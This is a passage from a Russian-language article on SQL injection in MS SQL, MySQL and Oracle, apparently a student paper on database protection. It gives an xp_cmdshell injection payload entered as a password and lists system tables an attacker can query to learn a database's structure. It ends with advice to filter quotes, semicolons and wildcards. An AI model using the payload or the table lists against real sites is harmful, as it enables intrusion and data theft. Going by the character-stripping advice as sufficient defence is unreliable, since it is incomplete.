Вкупе с тем, что MS SQL поддерживает разделители (';'), вызов внешних процедур при проведении атаки проходит на ура. С тем самым магазином атакующему достаточно в качестве пароля ввести всего лишь "' EXEC master.dbo.xp_cmdshell 'cmd.exe dir". 
 
Some tricks 
 
Во многих приведенных выше примерах предполагалось, что потенциальный атакующий знает названия таблиц и полей в них. В реальной жизни это не всегда так - зачастую приходится иметь дело с самописными скриптами, исходники которых попросту недоступны. Но, как говорится, на каждую хитрую... 
 
В подавляющем большинстве серверов инфа обо всех базах, поддерживаемых сервером, хранится в системных таблицах, имена которых имеют дефолтовые названия. То же самое относится и к названиям полей в них. В этих таблицах можно найти исчерпывающую информацию, касающуюся структуры любой базы данных на сервере. Далее приведена небольшая подборка названий таблиц для разных серверов. Для получения подробной информации о содержимом этих таблиц было бы неплохо глянуть в документацию по конкретному серверу, хотя до смысла большинства полей можно логически дойти, просто заселектив все их содержимое: 
 
1) MS SQL 
 
sysobjects 
 
syscolumns 
 
2) MySQL 
 
mysql.user 
 
mysql.host 
 
mysql.db 
 
3) Oracle 
 
SYS.USER_OBJECTS 
 
SYS.USER_TABLES 
 
SYS.USER_VIEWS 
 
SYS.USER_TAB_COLUMNS 
 
SYS.TAB 
 
SYS.ALL_TABLES 
 
Защита от подобного 
 
Чтобы защитить свои скрипты от подобной напасти, необходимо тщательно проверять всю входящую информацию. Нельзя доверять пользователям. Минимум, что надо делать, это удалять следующие символы: 
 
1) Кавычки. 
 
И двойные, и одинарные. С их помощью можно добавлять левые параметры в запрос. 
 
2) Точка с запятой. 
 
Она разделяет запросы (не во всех sql-серверах; mysql, например, этого не поддерживает). Ее наличие может привести к добавлению левых команд в SQL-запрос. 
 
Также стоит проверять и другие символы, например, подчеркивание (_), знак процента (%), звездочка (*). Все они могут привести к нежелательным последствиям, поэтому очень важно отфильтровывать лишние данные. 
 
Заключение 
 
Нельзя сказать, что тема атак класса SQL Injection полностью рассмотрена. Каждая реализация SQL-сервера имеет свои особенности, которые потенциальный взломщик может использовать себе на благо. Естественно, для этого надо хорошо разбираться в том или ином диалекте языка SQL. Но самых популярных серверов на сегодняшний день всего несколько: MySQL, Postgres, MS SQL, Oracle. Для их защиты, особенно в случае с MySQL и Postgres, не требуется больших усилий. Главное грамотно проверять входящие данные. Это как минимум спасет твой сайт от утечки данных через скрипты. Так что помни об этом. Удачи!

Информация о работе Защита баз данных